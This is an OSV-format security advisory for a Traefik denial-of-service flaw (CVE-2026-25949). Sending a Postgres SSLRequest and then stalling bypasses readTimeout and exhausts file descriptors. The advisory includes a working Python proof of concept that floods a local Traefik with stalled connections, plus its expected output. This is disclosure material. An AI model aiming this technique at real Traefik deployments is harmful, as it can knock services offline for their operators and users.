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{"schema_version":"1.9.0","id":"GHSA-89p3-4642-cr2w","published":"2026-02-12T15:54:11Z","modified":"2026-09-10T03:50:34.361678666Z","aliases":["CVE-2026-25949","GO-2026-4484"],"summary":"Traefik: TCP readTimeout bypass via STARTTLS on Postgres","details":"## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik’s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n<details>\n<summary>Script (Click to expand)</summary>\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -> int:\n return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -> list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n conns.append(socket.create_connection((HOST, PORT)))\n return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n s = socket.create_connection((HOST, PORT))\n s.settimeout(1.0)\n s.sendall(POSTGRES_SSLREQUEST)\n try:\n _ = s.recv(1) # typically b\"S\"\n except socket.timeout:\n pass\n conns.append(s)\n return conns\n\n\ndef close_all(conns: list[socket.socket]) -> None:\n for s in conns:\n try:\n s.close()\n except OSError:\n pass\n\n\ndef main() -> None:\n with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n dyn = os.path.join(td, \"dynamic.yml\")\n with open(dyn, \"w\", encoding=\"utf-8\") as f:\n f.write(\n f\"\"\"\\\nhttp:\n routers:\n r:\n entryPoints: [web]\n rule: \"PathPrefix(`/`)\"\n service: s\n services:\n s:\n loadBalancer:\n servers:\n - url: \"http://{HOST}:9\"\n\"\"\"\n )\n\n proc = subprocess.Popen(\n [\n TRAEFIK_BIN,\n \"--log.level=ERROR\",\n f\"--entryPoints.web.address=:{PORT}\",\n f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n f\"--providers.file.filename={dyn}\",\n \"--providers.file.watch=false\",\n ],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.STDOUT,\n )\n try:\n time.sleep(STARTUP_SLEEP_SECS)\n\n pid = proc.pid\n if pid is None:\n raise RuntimeError(\"Traefik PID is None\")\n\n ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n print(ver)\n print(f\"Traefik={TRAEFIK_BIN}\")\n print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n base = fd_count(pid)\n print(f\"traefik_pid={pid} fd_base={base}\")\n\n idle = open_idle_conns(N_CONNS)\n fd_after_open_idle = fd_count(pid)\n print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_idle = fd_count(pid)\n print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n close_all(idle)\n\n pg = open_postgres_sslrequest_conns(N_CONNS)\n fd_after_open_pg = fd_count(pid)\n print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_pg = fd_count(pid)\n print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n close_all(pg)\n\n if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):\n print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n else:\n print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n finally:\n proc.terminate()\n try:\n proc.wait(timeout=3.0)\n except subprocess.TimeoutExpired:\n proc.kill()\n proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n main()\n```\n</details>\n\n\n<details>\n<summary>Expected output (Click to expand)</summary>\n\n```bash\nVersion: 3.6.7\nCodename: ramequin\nGo version: go1.24.11\nBuilt: 2026-01-14T14:04:03Z\nOS/Arch: linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n</details>\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n</details>","affected":[{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.8"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.6.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-89p3-4642-cr2w/GHSA-89p3-4642-cr2w.json"}}],"references":[{"type":"WEB","url":"https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25949"},{"type":"WEB","url":"https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6192"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25949"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2439522"},{"type":"PACKAGE","url":"https://github.com/traefik/traefik"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.8"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25949.json"}],"database_specific":{"cwe_ids":["CWE-400","CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-02-12T15:54:11Z","nvd_published_at":"2026-02-12T20:16:11Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} |